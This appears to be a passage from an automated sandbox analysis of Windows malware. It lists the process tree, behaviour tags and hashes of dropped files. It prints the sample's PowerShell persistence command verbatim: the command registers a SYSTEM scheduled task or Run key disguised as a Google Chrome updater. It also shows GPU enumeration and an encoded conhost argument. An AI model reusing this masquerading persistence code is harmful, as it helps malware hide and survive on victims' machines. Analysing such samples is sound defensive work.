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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3968
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2292
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4388
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3708
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2624
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1624
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:220
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
976KB
MD5694d11a7783970fa795903d6edbb50d5
SHA15e3ec412bcb5e83e5b55e6b23a0976897c0482be
SHA256af72fa6f26f9a2a93e83b3bde70854da1440356ad7666a26390bcb0c6f07bf1d
SHA5128d357c8adcf666f7068e68591b7c86b8f14886cb8cc308ceca53d07f504c0f5b7ae7e9a3354d5e5e919bd949991c829b82ac962247c15a802f768b074bf0d89f
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5a43e653ffb5ab07940f4bdd9cc8fade4
SHA1af43d04e3427f111b22dc891c5c7ee8a10ac4123
SHA256c4c53abb13e99475aebfbe9fec7a8fead81c14c80d9dcc2b81375304f3a683fe
SHA51262a97e95e1f19a8d4302847110dae44f469877eed6aa8ea22345c6eb25ee220e7d310fa0b7ec5df42356815421c0af7c46a0f1fee8933cc446641800eda6cd1b
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Filesize
944B
MD5bda1d2ea0bf9e82c55abb33ba99901ed
SHA171f9f90315d980515dbb9bb5db622562e686710f
SHA25666908f6bf954deafd5b85d995ea5481e085925fb2fe672622e759e3ff9bb4a28
SHA51206168abace0f4087e7ccd59e0034faf964605b2c1485a53609ad1f630021f9b95e030000fce41bfbc5ba8dca82da3592d70f32680f5a84416faf4c1b3975399a
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Filesize
1KB
MD5c47bae554e152cbe8d31800457fe0b1e
SHA12fb1b232906afb228b555a775125dac0c0eb019f
SHA2564fa60d26fe1c43693f09a7daa1e8e3431a4f7b0856ea8030b90f2bcd4084677d
SHA512acb53a37df93cb39ddd8e6c2ea74482567852df1ad2c27eda8c41e055106db37c5115d63bdfde504ce4700d690f906e25684999245389181e2515075fd91c6ff
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5